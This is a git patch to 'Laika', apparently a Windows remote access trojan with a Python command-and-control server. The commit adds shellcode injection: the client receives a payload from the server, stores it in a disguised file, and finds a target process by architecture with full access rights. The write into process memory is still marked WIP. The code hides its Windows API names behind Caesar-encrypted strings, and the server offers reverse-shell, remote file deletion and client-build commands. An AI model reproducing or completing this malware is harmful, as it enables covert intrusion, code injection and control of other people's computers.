From ab627f939d57db106ab10648aafa378d06319e63 Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Tue, 21 Feb 2023 21:28:16 +0100 Subject: [PATCH] =?UTF-8?q?ajout=20du=20d=C3=A9but=20de=20l'injection=20de?= =?UTF-8?q?=20shellcode?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit à faire: injecter le shellcode, trouver un moyen pour télécharger le shellcode dans le buffer sans passer par un fichier intermédiaire en utilisant la même fonction que pour l'upload --- Laika/Laika.vcxproj | 2 + Laika/Laika.vcxproj.filters | 9 +++++ Laika/file_explorer.c | 24 ++++------- Laika/file_explorer.h | 2 +- Laika/main.c | 79 ++++++++++++++++++++++++++++++++++++- Laika/resolve_apis.c | 9 +++++ Laika/resolve_apis.h | 19 +++++++++ Laika/shellcode.c | 51 ++++++++++++++++++++++++ Laika/shellcode.h | 6 +++ Server/Server.py | 40 +++++++++++++++++-- 10 files changed, 219 insertions(+), 22 deletions(-) create mode 100644 Laika/shellcode.c create mode 100644 Laika/shellcode.h diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj index eef2f04..a938a20 100644 --- a/Laika/Laika.vcxproj +++ b/Laika/Laika.vcxproj @@ -159,12 +159,14 @@ + + diff --git a/Laika/Laika.vcxproj.filters b/Laika/Laika.vcxproj.filters index cc108bd..1c91149 100644 --- a/Laika/Laika.vcxproj.filters +++ b/Laika/Laika.vcxproj.filters @@ -13,6 +13,9 @@ {1c39cfa5-e620-4df2-bae9-e24a26485d37} + + {15e1ca95-85db-48cd-8b71-413ceac5d0b8} + @@ -27,6 +30,9 @@ File explorer + + Shellcode + @@ -41,5 +47,8 @@ File explorer + + Shellcode + \ No newline at end of file diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index 563fc51..16511cc 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -95,10 +95,10 @@ BOOL delete_folder(LPCTSTR lpszDir) { TCHAR szFileName[MAX_PATH]; // copy the directory path to a buffer - lstrcpy(szDir, lpszDir); + Api.lstrcpyW(szDir, lpszDir); // add the wildcard character and search for the first file in the directory - lstrcat(szDir, TEXT("\\*")); + Api.lstrcatW(szDir, TEXT("\\*")); hFind = Api.FindFirstFileW(szDir, &FindFileData); if (hFind == INVALID_HANDLE_VALUE) { @@ -107,15 +107,15 @@ BOOL delete_folder(LPCTSTR lpszDir) { } do { - if (lstrcmp(FindFileData.cFileName, TEXT(".")) == 0 || lstrcmp(FindFileData.cFileName, TEXT("..")) == 0) { + if (Api.lstrcpyW(FindFileData.cFileName, TEXT(".")) == 0 || Api.lstrcpyW(FindFileData.cFileName, TEXT("..")) == 0) { // skip the current and parent directories continue; } // build the full file name - lstrcpy(szFileName, lpszDir); - lstrcat(szFileName, TEXT("\\")); - lstrcat(szFileName, FindFileData.cFileName); + Api.lstrcpyW(szFileName, lpszDir); + Api.lstrcatW(szFileName, TEXT("\\")); + Api.lstrcatW(szFileName, FindFileData.cFileName); if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // recursively delete the subdirectory @@ -193,19 +193,10 @@ int download_file(FILE* fp, SOCKET sock) { return 1; } -void upload_file(SOCKET sock, const char* path) { +void upload_file(SOCKET sock, HANDLE file_handle) { // Receive file char* buffer = (char*)Api.malloc(BUFFER_SIZE); - LPCWSTR wstr = ConvertCharToWChar(path); - - HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); - if (file_handle == INVALID_HANDLE_VALUE) { - Api.free(buffer); - Api.free((LPWSTR)wstr); - return; - } - Api.free((LPWSTR)wstr); int num_bytes = 0; int total_bytes = 0; @@ -228,7 +219,6 @@ void upload_file(SOCKET sock, const char* path) { // Close the file handle Api.free(buffer); - Api.CloseHandle(file_handle); return; } \ No newline at end of file diff --git a/Laika/file_explorer.h b/Laika/file_explorer.h index aeb4b6f..104049c 100644 --- a/Laika/file_explorer.h +++ b/Laika/file_explorer.h @@ -19,4 +19,4 @@ int get_drives_list(char* buf); BOOL delete_folder(LPCTSTR lpszDir); char* get_file_list(const char* dirPath, int* numFiles); int download_file(FILE* fp, SOCKET sock); -void upload_file(SOCKET sock, const char* path); \ No newline at end of file +void upload_file(SOCKET sock, HANDLE file_handle); \ No newline at end of file diff --git a/Laika/main.c b/Laika/main.c index 9aa0bb0..7cea49c 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -6,6 +6,7 @@ #include "config.h" #include "resolve_apis.h" #include "file_explorer.h" +#include "shellcode.h" HANDLE g_hChildStd_IN_Rd = NULL; HANDLE g_hChildStd_IN_Wr = NULL; @@ -285,6 +286,70 @@ retry: Api.free(drives); } + if (Api.strncmp(server_reply, "nsojhy", strlen("nsojhy")) == 0) { //inject + char* arch = (char*)Api.malloc(3); + + if (Api.recv(sock, arch, 3, 0) <= 0) { + //send failed + Api.free(arch); + Sleep_(Sleep_TIME); + goto retry; + } + CAESAR_DECRYPT(arch); + + // Create a file handle for the memory buffer + HANDLE hFile = Api.CreateFileW( + L"ykifyk", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + NULL); + + upload_file(sock, hFile); + + // Open the file handle for reading + hFile = Api.CreateFileW( + L"ykifyk", + GENERIC_READ, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + if (hFile == INVALID_HANDLE_VALUE) { + Sleep_(Sleep_TIME); + goto retry; + } + + char* buffer = (char*)Api.malloc(BUFFER_SIZE); + Api.ReadFile(hFile, buffer, BUFFER_SIZE, NULL, NULL); + Api.CloseHandle(hFile); + + HANDLE proc; + if (Api.strncmp(arch, "x86", strlen("x86")) == 0) { + proc = FindProcessByArch(L"x86"); + } + else { + proc = FindProcessByArch(L"x64"); + } + + if (proc == NULL) { + Api.free(arch); + Api.free(buffer); + Sleep_(Sleep_TIME); + goto retry; + } + + //Api.WriteProcessMemory(proc, (LPVOID)0, "", 0, NULL); WIP + + Api.CloseHandle(proc); + Api.free(arch); + Api.free(buffer); + } + if (Api.strncmp(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list char* file_list = (char*)Api.malloc(BUFFER_SIZE); char* path = (char*)Api.malloc(MAX_PATH); @@ -360,8 +425,20 @@ retry: goto retry; } - upload_file(sock, CAESAR_DECRYPT(path)); + LPCWSTR wstr = ConvertCharToWChar(CAESAR_DECRYPT(path)); + HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (file_handle == INVALID_HANDLE_VALUE) { + Api.free(path); + Api.free((LPWSTR)wstr); + return; + } + + Api.free((LPWSTR)wstr); + + upload_file(sock, file_handle); + + Api.CloseHandle(file_handle); Api.free(path); } diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index 3fa7534..f0175c6 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -33,6 +33,14 @@ void InitApis() { Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\")); Api.RemoveDirectoryW = (TRemoveDirectoryW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Wjrt{jInwjhytw~\\")); Api.DeleteFileW = (TDeleteFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("IjqjyjKnqj\\")); + Api.lstrcpyW = (TlstrcpyW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhu~\\")); + Api.lstrcatW = (TlstrcatW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhfy\\")); + Api.CreateToolhelp32Snapshot = (TCreateToolhelp32Snapshot)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjYttqmjqu87Xsfuxmty")); + Api.Process32FirstW = (TProcess32FirstW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Uwthjxx87Knwxy\\")); + Api.OpenProcess = (TOpenProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("TujsUwthjxx")); + Api.Process32NextW = (TProcess32NextW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Uwthjxx87Sj}y\\")); + Api.IsWow64Process = (TIsWow64Process)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Nx\\t|;9Uwthjxx")); + Api.WriteProcessMemory = (TWriteProcessMemory)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjUwthjxxRjrtw~")); hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq")); if (!hMsvcrt) { @@ -58,6 +66,7 @@ void InitApis() { Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj")); Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi")); Api.fwrite = (Tfwrite)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("k|wnyj")); + Api.wcscmp = (Twcscmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxhru")); hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq")); if (!hWininet) { diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index f7b645e..53a97a1 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -1,6 +1,7 @@ #pragma once #include #include +#include #include #include #include "utils.h" @@ -37,6 +38,9 @@ typedef FILE* (WINAPI* Tfopen)(char const*, char const*); typedef int(WINAPI* Tfclose)(FILE*); typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*); typedef size_t(WINAPI* Tfwrite)(void const*, size_t, size_t, FILE*); +typedef LPWSTR(WINAPI* TlstrcpyW)(LPWSTR, LPCWSTR); +typedef LPWSTR(WINAPI* TlstrcatW)(LPWSTR, LPCWSTR); +typedef int(WINAPI* Twcscmp)(const wchar_t*, const wchar_t*); typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); @@ -59,6 +63,12 @@ typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW); typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW); typedef BOOL(WINAPI* TRemoveDirectoryW)(LPCWSTR); typedef BOOL(WINAPI* TDeleteFileW)(LPCWSTR); +typedef HANDLE(WINAPI* TCreateToolhelp32Snapshot)(DWORD, DWORD); +typedef BOOL(WINAPI* TProcess32FirstW)(HANDLE, LPPROCESSENTRY32W); +typedef HANDLE(WINAPI* TOpenProcess)(DWORD, BOOL, DWORD); +typedef BOOL(WINAPI* TProcess32NextW)(HANDLE, LPPROCESSENTRY32W); +typedef BOOL(WINAPI* TIsWow64Process)(HANDLE, PBOOL); +typedef BOOL(WINAPI* TWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); typedef struct ApiList { Tconnect connect; @@ -99,6 +109,12 @@ typedef struct ApiList { TFindNextFileW FindNextFileW; TRemoveDirectoryW RemoveDirectoryW; TDeleteFileW DeleteFileW; + TCreateToolhelp32Snapshot CreateToolhelp32Snapshot; + TProcess32FirstW Process32FirstW; + TOpenProcess OpenProcess; + TProcess32NextW Process32NextW; + TIsWow64Process IsWow64Process; + TWriteProcessMemory WriteProcessMemory; Tmbstowcs mbstowcs; Twcstombs wcstombs; @@ -115,6 +131,9 @@ typedef struct ApiList { Tfclose fclose; Tfread fread; Tfwrite fwrite; + TlstrcpyW lstrcpyW; + TlstrcatW lstrcatW; + Twcscmp wcscmp; } API; void InitApis(); diff --git a/Laika/shellcode.c b/Laika/shellcode.c new file mode 100644 index 0000000..092cc6c --- /dev/null +++ b/Laika/shellcode.c @@ -0,0 +1,51 @@ +#include "shellcode.h" + +extern API Api; + +HANDLE FindProcessByArch(const wchar_t* arch) +{ + HANDLE hSnapshot; + PROCESSENTRY32 pe32; + + // Take a snapshot of all processes in the system + hSnapshot = Api.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) { + return NULL; + } + + // Iterate through the processes in the system + pe32.dwSize = sizeof(PROCESSENTRY32); + if (!Api.Process32FirstW(hSnapshot, &pe32)) { + Api.CloseHandle(hSnapshot); + return NULL; + } + do { + HANDLE hProcess; + BOOL isWow64; + + hProcess = Api.OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); + if (hProcess == NULL) { + continue; + } + + // Determine the process architecture + if (!Api.IsWow64Process(hProcess, &isWow64)) { + // Failed to determine the process architecture, so skip to the next process + Api.CloseHandle(hProcess); + hProcess = NULL; + continue; + } + + // Check if the process matches the provided architecture + if ((Api.wcscmp(arch, L"x86") == 0 && !isWow64) || (Api.wcscmp(arch, L"x64") == 0 && isWow64)) { + if (hProcess != NULL) { + Api.CloseHandle(hSnapshot); + return hProcess; + } + } + } while (Api.Process32NextW(hSnapshot, &pe32)); + + // No matching process found + Api.CloseHandle(hSnapshot); + return NULL; +} \ No newline at end of file diff --git a/Laika/shellcode.h b/Laika/shellcode.h new file mode 100644 index 0000000..5343254 --- /dev/null +++ b/Laika/shellcode.h @@ -0,0 +1,6 @@ +#pragma once +#include +#include +#include "resolve_apis.h" + +HANDLE FindProcessByArch(const wchar_t* arch); \ No newline at end of file diff --git a/Server/Server.py b/Server/Server.py index def48d7..912faaf 100644 --- a/Server/Server.py +++ b/Server/Server.py @@ -171,7 +171,7 @@ def interact() : if CLIENT_IN_PATH == None : return "no client" client = CONNECT_CLIENTS[CLIENT_IN_PATH] - print(file_list) + #print(file_list) addr = client.getpeername()[0] addr = os.getcwd() + "\\" + addr.replace(".","_") @@ -201,12 +201,13 @@ def interact() : print("\n\nTéléchargement terminé.\n\n") case "upload" : + print("\n\nUpload...\n\n") filename = easygui.fileopenbox() if filename == None or path_file_ex_2 == "" : return 'no file selected' - print(f"{filename} --> {path_file_ex_2}") + #print(f"{filename} --> {path_file_ex_2}") client.send(CAESAR("upload_file\0").encode()) @@ -215,6 +216,7 @@ def interact() : fp = open(filename, "rb") upload_file(fp, client) + print("\n\nUpload terminé.\n\n") case "remove" : for i in files : @@ -425,8 +427,9 @@ def main() -> None : print("select : sélectionne le client avec lequel intéragir") print("deselect : désélectionne le client précédemment séléctionné avec \"select\"") print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"") - print("build : build un client") print("fex : ouvre l'explorateur de fichiers") + print("inject : upload un shellcode. ARCH --> 32/64") + print("build : build un client") print("") elif cmd == "exit" : @@ -532,6 +535,37 @@ def main() -> None : print("\nClique sur le lien ci-dessous pour voir le file explorer :") print("http://127.0.0.1:5000\n") + elif "inject" in cmd : + if SELECTED_CLIENT == -1 : + print("Vous n'avez aucun client sélectionné.") + continue + + client = CONNECT_CLIENTS[SELECTED_CLIENT] + + parts = cmd.split(" ") + if len(parts) > 3 or len(parts) <= 2 : + print("Commande mal formée, \"help\" pour la syntaxe.") + continue + + arch = parts[1] + if arch != "32" and arch != "64" : + print("Commande mal formée, \"help\" pour la syntaxe.") + continue + + fichier = parts[2] + if not os.path.isfile(fichier) : + print(f"{fichier} n'a pas été trouvé.") + continue + + client.send(CAESAR("inject").encode()) + if arch == "32" : + client.send(CAESAR("x86").encode()) + else : + client.send(CAESAR("x64").encode()) + + fp = open(fichier, "rb") + upload_file(fp, client) + else : print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")